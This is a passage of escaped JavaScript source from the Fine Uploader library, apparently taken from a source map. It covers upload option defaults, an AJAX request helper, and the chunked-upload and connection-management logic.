onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: \"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: [200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            